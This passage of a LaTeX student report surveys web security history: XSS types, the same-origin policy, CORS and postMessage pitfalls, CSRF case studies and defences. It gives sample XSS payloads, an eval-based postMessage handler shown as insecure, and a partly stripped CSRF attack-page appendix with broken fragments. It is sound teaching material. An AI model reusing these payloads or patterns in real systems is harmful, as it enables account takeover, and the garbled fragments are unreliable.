\subsection{XSS Vulnerability: Types, Examples, and Mitigations}
\textbf{Cross‑Site Scripting (XSS)} occurs when a web application includes untrusted data in an HTML page without proper sanitization, and that data is executed as code in the browser.
\begin{table}[h]
\centering
\caption{Three main types of XSS}
\label{tab:xss-types}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}lll@{}}
\toprule
\textbf{Type} & \textbf{Description} & \textbf{Example} \
\midrule
Stored XSS & Malicious script saved on server and executed for every visitor. & Posting \texttt{<script>alert('XSS')</script>} in a comment. \
Reflected XSS & Malicious script comes from current HTTP request and is reflected immediately. & \texttt{https://example.com/search?q=<script>alert(1)</script>} \
DOM-based XSS & Client-side JS manipulates DOM parameters unsafely. & \texttt{var user = location.hash; document.body.innerHTML = user;} \
\bottomrule
\end{tabular}
\end{table}
\textbf{Real‑world examples:}
\begin{itemize}
\item \textbf{Samy worm on MySpace (2005):} Used stored XSS to add over one million friends in 24 hours.
\item \textbf{Twitter XSS (2014):} Reflected XSS allowed posting malicious tweets that automatically retweeted themselves.
\end{itemize}
\textbf{How to protect against XSS (defense in depth):}
\begin{enumerate}
\item \textbf{Output escaping:} Use proper escaping functions based on context. Example in PHP: \texttt{htmlspecialchars($input, ENT_QUOTES, 'UTF-8')}.
\item \textbf{Content Security Policy (CSP):} Browser mechanism to declare allowed script sources. Example: \texttt{Content-Security-Policy: script-src 'self'} blocks inline scripts.
\item \textbf{Avoid dangerous functions:} Never use \texttt{eval()}, \texttt{innerHTML}, \texttt{document.write()} with untrusted data. Use \texttt{textContent} instead.
\item \textbf{Use modern frameworks:} React escapes content by default; avoid \texttt{dangerouslySetInnerHTML}. Angular provides safe defaults.
\item \textbf{HttpOnly cookie flag:} Prevents JavaScript from accessing session cookies.
\end{enumerate}
\begin{table}[h]
\centering
\caption{XSS impact statistics (HackerOne 2022 report)}
\label{tab:xss-stats}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}ll@{}}
\toprule
\textbf{Metric} & \textbf{Value} \
\midrule
XSS reports received in 2022 & Over 10,000 \
Total bounties paid for XSS & Exceeding $5 million \
Percentage of all bug reports & Approximately 12% \
\bottomrule
\end{tabular}
\end{table}
\newpage
% ==================== 5. Frames and SOP ====================
\section{Frames and the Same-Origin Policy (SOP)}
\subsection{The Need for SOP}
In 1995/1997, frames (\texttt{}, \texttt{<iframe>}) were introduced to allow multiple independent pages within a single browser window. For example, a news site could display an advertising sidebar from an ad network and a main frame from its own domain. This saved bandwidth and improved navigation.
But from a security perspective: what if a frame from \texttt{evil.com} tries to read the content of a frame from \texttt{bank.com} inside the same browser? Without restrictions, \texttt{evil.com} could steal sensitive information. Therefore, browsers introduced the \textbf{Same-Origin Policy (SOP)}.
\subsection{How SOP Works}
SOP states that JavaScript from one \textbf{origin} (protocol + hostname + port) cannot access the DOM, cookies, or local storage of a page from a different origin.
\begin{table}[h]
\centering
\caption{Same-origin comparison examples}
\label{tab:sop}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}llll@{}}
\toprule
\textbf{First page} & \textbf{Second page} & \textbf{Same origin?} & \textbf{Reason} \
\midrule
\texttt{http://a.com/page1} & \texttt{http://a.com/page2} & Yes & Identical \
\texttt{http://a.com} & \texttt{https://a.com} & No & Different protocol \
\texttt{http://a.com} & \texttt{http://b.com} & No & Different host \
\texttt{http://a.com:80} & \texttt{http://a.com:8080} & No & Different port \
\bottomrule
\end{tabular}
\end{table}
This policy is the foundation of web security. Without it, any site you visit could read your email, bank statements, or social media feeds.
\subsection{Dangerous Exceptions: domain relaxation, CORS, postMessage}
Real‑world applications needed exceptions to SOP – but misconfigured exceptions create vulnerabilities.
\textbf{1. \texttt{document.domain} relaxation} \
Allows two subdomains (e.g., \texttt{mail.example.com} and \texttt{calendar.example.com}) to set \texttt{document.domain = "example.com"} and then interact. However, this weakens security because any subdomain can then access the other. Modern browsers restrict setting to higher-level domains, but legacy code may still be vulnerable.
\textbf{2. CORS (Cross-Origin Resource Sharing)} \
Allows a server to explicitly specify who can access its resources via the \texttt{Access-Control-Allow-Origin} header. Common misconfigurations:
\begin{itemize}
\item \texttt{Access-Control-Allow-Origin: *} with \texttt{Access-Control-Allow-Credentials: true} (disallowed but sometimes mis-implemented).
\item Reflecting any origin without validation: \texttt{Access-Control-Allow-Origin: $_SERVER['HTTP_ORIGIN']} – allows any site to read the response.
\item Using \texttt{null} as the origin, which can be forced by data URLs.
\end{itemize}
\textbf{3. \texttt{postMessage} API} \
Allows pages from different origins to exchange messages safely – but only if the receiver checks \texttt{event.origin}. Many sites forget this check or use flawed regex.
\textbf{Example of insecure \texttt{postMessage} handler:}
\begin{lstlisting}[language=JavaScript]
window.addEventListener("message", function(event) {
var data = eval(event.data); // DANGEROUS: eval on untrusted data
// No origin check!
});
\end{lstlisting}
\begin{table}[h]
\centering
\caption{SOP exceptions and risks}
\label{tab:sop-exceptions}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}lll@{}}
\toprule
\textbf{Mechanism} & \textbf{Safe usage} & \textbf{Common misuse} \
\midrule
\texttt{document.domain} & Set only to immediate parent domain & Setting to higher-level domain (e.g., \texttt{.com}) \
CORS & Return specific whitelisted origins; never \texttt{} with credentials & Returning \texttt{} or \texttt{null} without validation \
\texttt{postMessage} & Validate \texttt{event.origin} against whitelist; avoid \texttt{eval} & No validation or flawed regex (e.g., \texttt{indexOf}) \
\bottomrule
\end{tabular}
\end{table}
\textbf{Case study:} In 2013, Son and Shmatikov examined over 10,000 sites and found that 84 popular sites (including some in the Alexa Top 100) had \texttt{postMessage} vulnerabilities. Some did not check the origin at all, allowing any site to inject malicious messages.
\newpage
% ==================== 6. Real-World Case Studies ====================
\section{Real-World Case Studies}
\subsection{MySpace Samy Worm (2005) – Stored XSS}
\textbf{What happened:} Samy Kamkar created an XSS worm on MySpace. The worm added “Samy is my hero” to profiles, added the attacker as a friend, and self-replicated.
\textbf{How it worked:} MySpace filtered \texttt{<script>} tags but allowed inline JavaScript in CSS via \texttt{javascript:} URLs and \texttt{expression()} in CSS.
\textbf{Impact:} Within 20 hours, over \textbf{one million users} were infected, causing MySpace to crash temporarily.
\textbf{Lesson:} Even seemingly harmless XSS can cause massive damage. Input filtering is not enough; proper output encoding and CSP are necessary.
\subsection{Google Calendar CSRF (2006)}
\textbf{What happened:} Researchers added events to any user’s Google Calendar via CSRF. A malicious page sent a hidden request with the victim’s session cookie.
\textbf{Example attack code:}
\begin{lstlisting}
\end{lstlisting}
\textbf{Lesson:} Any web application performing sensitive actions via GET/POST without anti‑CSRF tokens is vulnerable. Modern frameworks include CSRF protection by default.
\subsection{JSONP and Rosetta Flash Attack (2014)}
\textbf{Background:} JSONP (JSON with Padding) was an old technique to bypass SOP. A site included a script from another origin, and the response called a callback function.
\textbf{Problem:} JSONP gives complete trust to the remote server.
\textbf{Rosetta Flash attack:} Discovered by Michele Spagnuolo. Many JSONP endpoints allowed attackers to control the \texttt{callback} parameter. By crafting a special ASCII‑only Flash file, the attacker could execute malicious Flash code.
\textbf{Affected services:} Google, Twitter, LinkedIn, and many others.
\textbf{Solution:} Use proper CORS instead of JSONP. Set \texttt{Content-Type: application/json} and \texttt{X-Content-Type-Options: nosniff}.
\subsection{Equifax Breach (2017) – A Modern Lesson}
Although not strictly a client‑side vulnerability, Equifax illustrates how ignoring security basics leads to disaster. Attackers exploited a vulnerability in Apache Struts (CVE-2017-5638) to steal data of 147 million people.
\textbf{Connection to this research:} The breach was caused by a \textbf{failure to apply a patch} that had been available for months. Even when defenses exist, operational practices (patching, configuration, monitoring) are equally important.
\newpage
% ==================== 7. Critical Analysis ====================
\section{Critical Analysis (Discussion)}
\subsection{Historical Design Mistakes}
Reviewing the web’s evolution, several fundamental design errors can be identified:
\begin{enumerate}
\item \textbf{Cookies – automatic transmission with every cross‑origin request:} If cookies required explicit consent for cross-site requests, CSRF would be much less common.
\item \textbf{JavaScript – no security model from the start:} SOP was added later as a patch, leading to complexity and exceptions.
\item \textbf{Frames – insufficient isolation:} Even with SOP, frames can communicate via \texttt{postMessage} or \texttt{document.domain}, and misconfigurations lead to data leakage.
\item \textbf{Error tolerance (browser wars):} Browsers became extremely lenient to accept malformed HTML and JavaScript, which helps attackers inject XSS in creative ways.
\end{enumerate}
\subsection{Does Security Catch Up with Technology? The Security Gap}
History shows a clear pattern: \textbf{each new technology precedes appropriate defenses}.
\begin{table}[h]
\centering
\caption{Security gap examples}
\label{tab:secgap}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}llll@{}}
\toprule
\textbf{Technology} & \textbf{Introduction} & \textbf{First documented attack} & \textbf{Effective defense} \
\midrule
Cookies & 1994 & CSRF ~1997 & SameSite (2016), anti-CSRF tokens \
JavaScript & 1995 & XSS ~1999 & CSP (2010), HttpOnly (2002) \
Frames & 1995–1997 & SOP bypass ~1998 & sandbox attribute (2007) \
JSONP & ~2005 & Rosetta Flash (2014) & Deprecated in favor of CORS \
\bottomrule
\end{tabular}
\end{table}
This delay is called the \textbf{security gap} – the period during which attackers are ahead. As of 2024, many legacy sites still have not adopted modern defenses.
\subsection{Timeline of Features vs. Vulnerabilities}
\begin{verbatim}
1990 – HTTP 0.9 (stateless, no sessions)
1994 – Cookies introduced
1995 – JavaScript introduced
1995-97 – Frames, SOP (basic)
1997 – First CSRF attacks documented
1999 – First XSS attacks documented
2002 – HttpOnly cookie flag introduced
2005 – Samy worm (MySpace)
2006 – Google Calendar CSRF
2010 – Content Security Policy (CSP) proposed
2014 – Rosetta Flash attack
2016 – SameSite cookie attribute introduced
2017 – Equifax breach (patch failure)
2020 – SameSite=Lax becomes default in Chrome
2024 – Ongoing adoption of modern defenses
\end{verbatim}
\subsection{Lessons for the Future}
\begin{itemize}
\item \textbf{Secure by Default:} Default settings should be secure. \texttt{SameSite=Lax} default is a correct step.
\item \textbf{Least Privilege:} Do not give JavaScript access to cookies unless necessary (use \texttt{HttpOnly}). Use \texttt{sandbox} for iframes.
\item \textbf{Input Validation and Output Encoding:} Use established libraries (DOMPurify, OWASP Java Encoder).
\item \textbf{Defense in Depth:} Combine multiple layers: CSP, CSRF tokens, secure cookies, input validation.
\item \textbf{Continuous Education:} Developers must learn about security threats.
\item \textbf{Standards Evolution:} W3C, WHATWG, and browser vendors must continue to evolve standards quickly.
\end{itemize}
\newpage
% ==================== 8. Conclusion ====================
\section{Conclusion}
The web began as a simple system for static documents and evolved into a vast application platform used by billions. Each major addition – cookies, JavaScript, frames – aimed to improve user experience but also introduced new vulnerabilities such as CSRF, XSS, and cross‑origin communication issues. These vulnerabilities were not the result of deliberate negligence, but of early engineers not foreseeing how the web would be used over the next three decades.
Today we have strong defensive tools: Content Security Policy, SameSite cookies, secure CORS configurations, CSRF tokens, and safe storage methods like \texttt{HttpOnly} and \texttt{Secure} flags. However, \textbf{awareness is the key}. Every web developer must understand this history to avoid repeating mistakes. As one researcher said, \textit{“Those who do not remember the past are condemned to repeat its vulnerabilities.”}
Looking forward, the web continues to evolve with new technologies like WebAssembly, service workers, and federated identity (e.g., WebAuthn). Each of these will bring new security challenges. The lesson from the past 30 years is clear: \textbf{security must be built in from the start, not bolted on later}. A secure web is not a destination but a continuous journey of improvement, adaptation, and education.
\newpage
% ==================== 9. Appendix ====================
\section{Appendix A: Full Code Example – CSRF Attack Simulation}
The following is a complete HTML page an attacker would host on \texttt{evil.com}. When a victim (logged into \texttt{bank.com}) visits this page, the attack executes automatically.
\textbf{File: attacker.html}
<title>Special Offer</title> <style> body { font-family: Arial, sans-serif; text-align: center; margin-top: 50px; } .container { max-width: 600px; margin: auto; padding: 20px; border: 1px solid #ccc; border-radius: 10px; } .warning { color: red; font-weight: bold; } </style>\begin{lstlisting}[language=HTML, basicstyle=\ttfamily\small]
Congratulations! 🎉
You have been selected for a free reward.
Please wait while we verify your account...
\textbf{Explanation:}![]()
} forces a GET request to \texttt{bank.com} with the victim’s cookies.
\begin{enumerate}
\item \textbf{GET request:} An invisible \texttt{
\item \textbf{POST request:} An invisible form is submitted automatically via JavaScript, again including cookies.
\item \textbf{Social engineering:} The victim sees a harmless “Congratulations” message and does not suspect the hidden attack.
\end{enumerate}
\textbf{Protection:}
\begin{itemize}
\item Use \texttt{SameSite=Strict} or \texttt{Lax} for session cookies.
\item Implement anti-CSRF tokens.
\item Do not use GET requests for state‑changing operations.
\item Validate \texttt{Origin} or \texttt{Referer} headers.
\end{itemize}
\textbf{Real‑world note:} Modern sites like Gmail, Facebook are protected against CSRF. This code is for educational purposes only.
\newpage
% ==================== 10. References ====================
\section{References}
\begin{enumerate}
\item Berners-Lee, T. (1989). \textit{Information Management: A Proposal}. CERN. (Lecture 01 PDF)
\item Hoffman, A. (2020). \textit{Web Application Security}. O’Reilly Media.
\item Mozilla Developer Network. (2024). \textit{Same-origin policy}. Retrieved from \url{https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy}
\item Son, S., & Shmatikov, V. (2013). The PostMessage Problem: A Study of Cross-Origin Communication on the Web. In \textit{Proceedings of the 2013 Network and Distributed System Security Symposium (NDSS)}.
\item Kamkar, S. (2005). \textit{Technical explanation of the MySpace worm}. Retrieved from \url{https://samy.pl/myspace/}
\item OWASP Foundation. (2021). \textit{OWASP Top 10: Cross-Site Scripting (XSS)}. Retrieved from \url{https://owasp.org/Top10/A03_2021-Injection/}
\item Spagnuolo, M. (2014). \textit{Abusing JSONP with Rosetta Flash}. Google Security Research. Retrieved from \url{https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/}
\item ACYB 240 Lecture Notes (2026). Lectures 01, 02, 03, 04. [University Name].
\item CISPA / USENIX Security Symposium. (2017). \textit{The Web’s Evolution over 20 Years: A Security Perspective}.
\item HackerOne. (2023). \textit{2022 Hacker-Powered Security Report}. Retrieved from \url{https://www.hackerone.com/reports/2022}
\item National Institute of Standards and Technology (NIST). (2020). \textit{Digital Identity Guidelines} (SP 800-63B).
\end{enumerate}
\end{document}